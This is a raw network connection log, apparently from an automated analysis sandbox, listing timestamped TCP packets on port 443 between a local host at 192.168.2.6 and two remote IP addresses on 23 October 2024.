Oct 23, 2024 21:04:51.333518982 CEST	443	50003	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.334168911 CEST	50003	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.334188938 CEST	443	50003	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.335007906 CEST	50003	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.335012913 CEST	443	50003	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.337485075 CEST	443	50007	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.338296890 CEST	50007	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.338320971 CEST	443	50007	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.339281082 CEST	50007	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.339293957 CEST	443	50007	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.339612007 CEST	443	50005	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.340090990 CEST	50005	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.340106964 CEST	443	50005	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.340907097 CEST	50005	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.340912104 CEST	443	50005	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.430855036 CEST	443	50004	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.430934906 CEST	443	50004	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.431227922 CEST	50004	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.448128939 CEST	50004	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.448144913 CEST	443	50004	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.453485012 CEST	50008	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.453515053 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.453660965 CEST	50008	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.453902960 CEST	50008	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.453917980 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.473908901 CEST	443	50003	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.473968983 CEST	443	50003	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.474390984 CEST	443	50007	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.474479914 CEST	50003	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.474551916 CEST	443	50007	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.474745035 CEST	50007	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.475136995 CEST	50007	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.475181103 CEST	443	50007	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.475204945 CEST	50003	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.475204945 CEST	50003	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.475220919 CEST	50007	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.475224972 CEST	443	50003	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.475229979 CEST	443	50007	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.475234032 CEST	443	50003	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.479640007 CEST	443	50005	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.479686975 CEST	443	50005	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.479800940 CEST	443	50005	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.479886055 CEST	50005	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.481767893 CEST	50009	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.481789112 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.481969118 CEST	50009	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.482673883 CEST	50005	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.482673883 CEST	50005	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.482697010 CEST	443	50005	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.482728004 CEST	443	50005	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.484314919 CEST	50009	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.484333038 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.485431910 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.485461950 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.485835075 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.486135006 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.486148119 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.487332106 CEST	50011	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.487343073 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.487437963 CEST	50011	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.487677097 CEST	50011	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.487690926 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.497098923 CEST	443	50006	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.497735977 CEST	50006	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.497759104 CEST	443	50006	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.498758078 CEST	50006	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.498771906 CEST	443	50006	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.584438086 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:51.584470987 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:51.584538937 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:51.585308075 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:51.585330963 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:51.635848999 CEST	443	50006	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.635997057 CEST	443	50006	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.636063099 CEST	50006	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.636260986 CEST	50006	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.636260986 CEST	50006	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.636267900 CEST	443	50006	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.636276007 CEST	443	50006	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.641241074 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.641266108 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:51.641393900 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.641782999 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:51.641796112 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.224857092 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.225883961 CEST	50008	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.225898981 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.226793051 CEST	50008	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.226799011 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.239309072 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.239681959 CEST	50009	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.239717007 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.240016937 CEST	50009	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.240024090 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.254012108 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.254431963 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.254445076 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.254805088 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.254808903 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.262722969 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.263089895 CEST	50011	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.263102055 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.263662100 CEST	50011	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.263668060 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.365287066 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.365314960 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.365361929 CEST	50008	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.365379095 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.365394115 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.365420103 CEST	50008	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.365444899 CEST	50008	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.365647078 CEST	50008	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.365658998 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.365667105 CEST	50008	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.365670919 CEST	443	50008	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.368307114 CEST	50014	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.368335009 CEST	443	50014	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.368398905 CEST	50014	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.368556023 CEST	50014	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.368568897 CEST	443	50014	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.376132011 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.376204014 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.376270056 CEST	50009	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.376285076 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.376342058 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.376369953 CEST	50009	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.376369953 CEST	50009	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.376389980 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.376405954 CEST	50009	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.376413107 CEST	443	50009	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.378561974 CEST	50015	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.378587961 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.378640890 CEST	50015	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.378767014 CEST	50015	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.378777981 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.401931047 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.401988029 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.402035952 CEST	50011	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.402045012 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.402122974 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.402167082 CEST	50011	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.402225971 CEST	50011	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.402235985 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.402249098 CEST	50011	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.402254105 CEST	443	50011	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.404153109 CEST	50016	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.404181957 CEST	443	50016	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.404237032 CEST	50016	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.404360056 CEST	50016	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.404372931 CEST	443	50016	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.412316084 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.412650108 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.412662983 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.413038015 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.413042068 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.513245106 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.513309956 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.513355017 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.513391972 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.513413906 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.513437986 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.513461113 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.517358065 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.517452002 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.517457008 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.517508984 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.517568111 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.517622948 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.517632961 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.517642975 CEST	50010	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.517647982 CEST	443	50010	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.520317078 CEST	50017	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.520338058 CEST	443	50017	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.520405054 CEST	50017	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.520565987 CEST	50017	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.520577908 CEST	443	50017	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.668483973 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:52.668581009 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:52.672962904 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:52.672976971 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:52.673260927 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:52.687388897 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:52.704117060 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.704174042 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.704221964 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.704241037 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.704250097 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.704276085 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.704302073 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.731336117 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:52.812494040 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.812552929 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.812604904 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.812606096 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.812663078 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.816822052 CEST	50013	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.816837072 CEST	443	50013	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.822985888 CEST	50018	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.823021889 CEST	443	50018	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:52.823101997 CEST	50018	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.823843956 CEST	50018	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:52.823858976 CEST	443	50018	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.043582916 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:53.043606043 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:53.043618917 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:53.043688059 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:53.043701887 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:53.043726921 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:53.043826103 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:53.139247894 CEST	443	50014	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.140239000 CEST	50014	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.140254021 CEST	443	50014	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.141189098 CEST	50014	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.141194105 CEST	443	50014	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.155342102 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.160881042 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:53.160922050 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:53.160980940 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:53.161004066 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:53.161004066 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:53.161035061 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:53.162940979 CEST	443	50016	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.177440882 CEST	50015	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.177462101 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.178220987 CEST	50015	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.178226948 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.178885937 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:53.178915977 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:53.178937912 CEST	50012	443	192.168.2.6	4.245.163.56
Oct 23, 2024 21:04:53.178946018 CEST	443	50012	4.245.163.56	192.168.2.6
Oct 23, 2024 21:04:53.180782080 CEST	50016	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.180789948 CEST	443	50016	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.181483984 CEST	50016	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.181488037 CEST	443	50016	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.278778076 CEST	443	50014	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.278805017 CEST	443	50014	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.278871059 CEST	50014	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.278876066 CEST	443	50014	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.278928995 CEST	50014	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.285017967 CEST	443	50017	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.303630114 CEST	50014	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.303639889 CEST	443	50014	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.303648949 CEST	50014	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.303653002 CEST	443	50014	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.305855989 CEST	50017	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.305870056 CEST	443	50017	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.306488037 CEST	50017	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.306502104 CEST	443	50017	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.314071894 CEST	443	50016	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.314105034 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.314178944 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.314220905 CEST	443	50016	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.314279079 CEST	50015	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.314295053 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.314306974 CEST	50016	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.314361095 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.314414978 CEST	50015	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.332007885 CEST	50015	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.332020998 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.332051039 CEST	50015	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.332057953 CEST	443	50015	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.334115028 CEST	50019	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.334156990 CEST	443	50019	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.334317923 CEST	50019	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.334511042 CEST	50019	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.334530115 CEST	443	50019	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.337583065 CEST	50016	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.337584019 CEST	50016	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.337594032 CEST	443	50016	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.337601900 CEST	443	50016	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.346470118 CEST	50020	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.346491098 CEST	443	50020	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.346637011 CEST	50020	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.347563028 CEST	50020	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.347574949 CEST	443	50020	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.349590063 CEST	50021	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.349610090 CEST	443	50021	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.349733114 CEST	50021	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.349946976 CEST	50021	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.349962950 CEST	443	50021	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.441754103 CEST	443	50017	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.442584038 CEST	443	50017	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.442655087 CEST	50017	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.442759037 CEST	50017	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.442775011 CEST	443	50017	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.442787886 CEST	50017	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.442794085 CEST	443	50017	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.447519064 CEST	50022	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.447560072 CEST	443	50022	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.447613001 CEST	50022	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.448012114 CEST	50022	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.448034048 CEST	443	50022	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.583856106 CEST	443	50018	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.637294054 CEST	50018	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.647207022 CEST	50018	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.647214890 CEST	443	50018	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.647739887 CEST	50018	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.647744894 CEST	443	50018	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.810091972 CEST	443	50018	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.810269117 CEST	443	50018	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.810333014 CEST	50018	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.810486078 CEST	50018	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.810503960 CEST	443	50018	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.810513973 CEST	50018	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.810518980 CEST	443	50018	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.813102961 CEST	50023	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.813137054 CEST	443	50023	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:53.813220978 CEST	50023	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.813446999 CEST	50023	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:53.813462973 CEST	443	50023	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.106005907 CEST	443	50020	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.106570005 CEST	50020	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.106591940 CEST	443	50020	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.107320070 CEST	50020	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.107326984 CEST	443	50020	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.113332033 CEST	443	50019	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.113924026 CEST	50019	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.113948107 CEST	443	50019	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.114510059 CEST	50019	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.114515066 CEST	443	50019	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.136233091 CEST	443	50021	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.136826038 CEST	50021	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.136843920 CEST	443	50021	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.137666941 CEST	50021	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.137672901 CEST	443	50021	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.215692997 CEST	443	50022	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.216114998 CEST	50022	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.216140985 CEST	443	50022	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.216519117 CEST	50022	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.216536999 CEST	443	50022	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.243432045 CEST	443	50020	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.243468046 CEST	443	50020	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.243540049 CEST	443	50020	13.107.253.45	192.168.2.6
